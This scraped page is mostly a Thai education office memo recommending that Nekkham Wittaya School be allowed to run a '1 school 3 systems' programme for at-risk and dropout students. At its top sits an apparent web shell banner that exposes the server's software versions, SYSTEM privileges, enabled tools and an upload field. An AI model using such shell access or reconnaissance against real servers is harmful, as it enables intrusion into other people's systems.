| Server IP : 104.21.80.248 / Your IP : 172.71.28.156 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myoffice/2566/data/tkk1text/ |
Upload File : |
<p> <strong> เรื่องเดิม -</strong></p> <p> <strong>ข้อเท็จจริง</strong><br /> ด้วยโรงเรียนเนกขัมวิทยา ขออนุญาตจัดการศึกษา 1 โรงเรียน 3 ระบบ ในปีการศึกษา 2566 ในการดำเนินการโครงการ "บวร สร้างโอกาส" เพื่อแก้ปัญหานักเรียนกลุ่มเสี่ยง นักเรียนออกกลางคัน และเด็กหลุดออกจากระบบการศึกษา โดยการจัดการศึกษาในรูปแบบที่หลากหลาย ยืดหยุ่น เหมาะสมกับศักยภาพของนักเรียน ซึ่งโรงเรียนจะดำเนินการสำรวจและติดตามนักเรียน ตกหล่นและนักเรียนออกกลางคัน เพื่อนำเข้าสู่ระบบการศึกษาโดยเฉพาะการศึกษาภาคบังคับ จัดทำแนวทางการจัดการศึกษา การวัดผลประเมินผล การเทียบโอนผลการเรียน และจัดทำแผนการจัดการเรียนรู้แบบบูรณาการข้ามกลุ่มสาระวิชา สามารถเรียนผ่านระบบออนไลน์ได้ (รายละเอียดตามแนวทางการดำเนินการจัดการศึกษา 1 โรงเรียน 3 ระบบ ด้วยนวัตกรรม บวร สร้างโอกาส)</p> <p> <strong>ข้อกฎหมายและระเบียบที่เกี่ยวข้อง<br /> </strong> 1. พระราชบัญญัติการศึกษาแห่งชาติ พ.ศ.2542 (และที่แก้ไขเพิ่มเติม)<br /> 2. หนังสือโรงเรียนเนกขัมวิทยา ที่ ศธ 04332.16/99 ลงวันที่ 8 พฤษภาคม 2566</p> <p> <strong>ข้อพิจารณา/ข้อเสนอ</strong><br /> กลุ่มส่งเสริมการจัดการศึกษา พิจารณาแล้วเห็นสมควรดำเนินการ ดังนี้<br /> 1. เสนอผู้อำนวยการสำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี พิจารณาอนุญาตให้โรงเรียนเนกขัมวิทยา จัดการศึกษา 1 โรงเรียน 3 ระบบ เพื่อสร้างโอกาสและความเสมอภาค แก่ประชากรวัยเรียนในเขตพื้นที่บริการให้ได้รับการศึกษาอย่างทั่วถึงจนจบการศึกษาภาคบังคับ <br /> 2. เห็นสมควรมอบหมายศึกษานิเทศก์ที่รับผิดชอบเรื่องหลักสูตร ให้คำปรึกษา แนะนำ กำกับ ติดตามการจัดการการเรียนการสอนด้วยรูปแบบ 1 โรงเรียน 3 ระบบ และอื่น ๆ </p> <p> จึงเรียนมาเพื่อโปรดพิจารณา หากเห็นชอบอนุญาต โปรดลงนามในหนังสือแจ้งโรงเรียน และขอใช้บันทึกฉบับนี้แจ้งเวียนกลุ่มศึกษานิเทศก์ทราบและดำเนินการในส่วนที่เกี่ยวข้องต่อไป<br /> </p>